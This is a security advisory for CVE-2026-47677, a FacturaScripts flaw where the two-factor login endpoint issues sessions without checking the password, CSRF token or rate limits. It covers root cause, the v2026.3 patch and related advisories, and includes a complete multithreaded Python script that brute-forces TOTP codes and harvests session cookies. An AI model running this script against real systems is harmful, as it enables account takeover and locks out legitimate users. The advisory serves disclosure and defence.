CVE-2026-47677: FacturaScripts 2FA Endpoint Authentication Bypass and Account Takeover
FacturaScripts lets an unauthenticated attacker take over any account that has two-factor authentication enabled, by brute-forcing a rate-limit-free login endpoint that never checks the user's passwor
The problem
The `twoFactorValidationAction()` handler in `Core/Controller/Login.php` accepts a POST with only a username and a six-digit TOTP code. It issues a full authenticated session on success without ever verifying that the user completed the password step first.
The handler also skips the CSRF token check and the rate-limit guard (`userHasManyIncidents()`) that every other action in the same file calls. Combined with `TwoFactorManager::VERIFICATION_WINDOW = 8`, roughly 17 codes are valid at any moment, making a brute-force feasible from a single IP in minutes.
A side effect of generating six failed attempts locks the real user out of `loginAction` for ten minutes, giving attackers a free targeted denial-of-service as well.
Proof of concept
A working proof-of-concept for CVE-2026-47677 in facturascripts/facturascripts, with the exact payload below.
#!/usr/bin/env python3
# pip install requests
# Usage: BASE=https://target NICK=admin THREADS=32 python poc_2fa_brute.py
import os, sys, time, random, threading, requests
BASE = os.environ.get("BASE", "http://localhost:9999")
NICK = os.environ.get("NICK", "admin")
THREADS = int(os.environ.get("THREADS", "32"))
MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000"))
hit = threading.Event()
attempt_count = [0]
lock = threading.Lock()
start = time.time()
result = {}
def worker(tid: int) -> None:
s = requests.Session()
while not hit.is_set():
with lock:
n = attempt_count[0]
if n >= MAX_TRIES:
return
attempt_count[0] += 1
code = f"{random.randint(0, 999999):06d}"
try:
r = s.post(f"{BASE}/login",
data={"action": "two-factor-validation",
"fsNick": NICK,
"fsTwoFactorCode": code},
allow_redirects=False, timeout=5)
except requests.RequestException:
continue
sc = r.headers.get("Set-Cookie", "")
if r.status_code == 302 and "fsLogkey" in sc:
with lock:
if hit.is_set():
return
hit.set()
result["code"] = code
result["n"] = n
result["cookies"] = {c.name: c.value for c in r.cookies}
return
def main() -> int:
print(f"[*] target={BASE} nick={NICK} threads={THREADS}")
threads = [threading.Thread(target=worker, args=(i,), daemon=True)
for i in range(THREADS)]
for t in threads: t.start()
while not hit.is_set() and attempt_count[0] < MAX_TRIES:
time.sleep(2)
elapsed = time.time() - start
print(f" [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d} "
f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True)
for t in threads: t.join()
elapsed = time.time() - start
if hit.is_set():
print(f"\n[+] FOUND code={result['code']} after {result['n']:,} attempts in {elapsed:.1f}s")
cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items())
print(f"[+] Cookies: {cookie_hdr}")
print(f"\n curl --cookie '{cookie_hdr}' {BASE}/ListUser")
return 0
print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit")
return 1
if __name__ == "__main__":
sys.exit(main())The root cause is that `twoFactorValidationAction()` is a self-contained unauthenticated login path: no password check, no CSRF token (`validateFormToken()` is skipped), and no incident pre-check (`userHasManyIncidents()` is skipped). Every other action handler in the same file calls those two guards before doing any work.
The excessive `VERIFICATION_WINDOW = 8` in `TwoFactorManager.php` (google2fa's default is 1) means 17 distinct six-digit codes are simultaneously valid, each live for roughly four minutes. The math puts 50% success probability at around 40,800 guesses, achievable in two to three minutes at 400 RPS from one IP.
The patch (v2026.3) adds a pending-login nonce written by `loginAction` after password verification succeeds, adds `validateFormToken()` and `userHasManyIncidents()` calls to the top of `twoFactorValidationAction()`, and reduces `VERIFICATION_WINDOW` from 8 to 1.
CWE-287 (Improper Authentication) applies because the server grants a session based on a single factor that is independently brute-forceable with no binding to a prior authenticated step.
The fix
Update to FacturaScripts 2026.3 or later. The release adds four independent controls: a short-lived nonce that binds the 2FA step to a completed password step, CSRF validation on the 2FA handler, rate-limit pre-checking on the 2FA handler, and a reduced TOTP window (`VERIFICATION_WINDOW = 1`).
Any single one of these changes significantly raises the bar; all four together close the attack path. Reference: https://github.com/NeoRazorX/facturascripts/releases/tag/v2026.3
Related research
- highCVE-2026-52827CVE-2026-52827: Kimai 2FA TOTP Bypass via Pre-Verification Session Cookie
- criticalCVE-2026-52824CVE-2026-52824: Kimai Docker Default APP_SECRET Enables Cookie Forgery and Account Takeover
- high · 8.7CVE-2026-54064CVE-2026-54064: NukeViet CMS Multiple Anti-XSS Filter Bypasses Leading to Stored XSS
- high · 8.7CVE-2026-54065CVE-2026-54065: NukeViet Path Traversal to Arbitrary File Deletion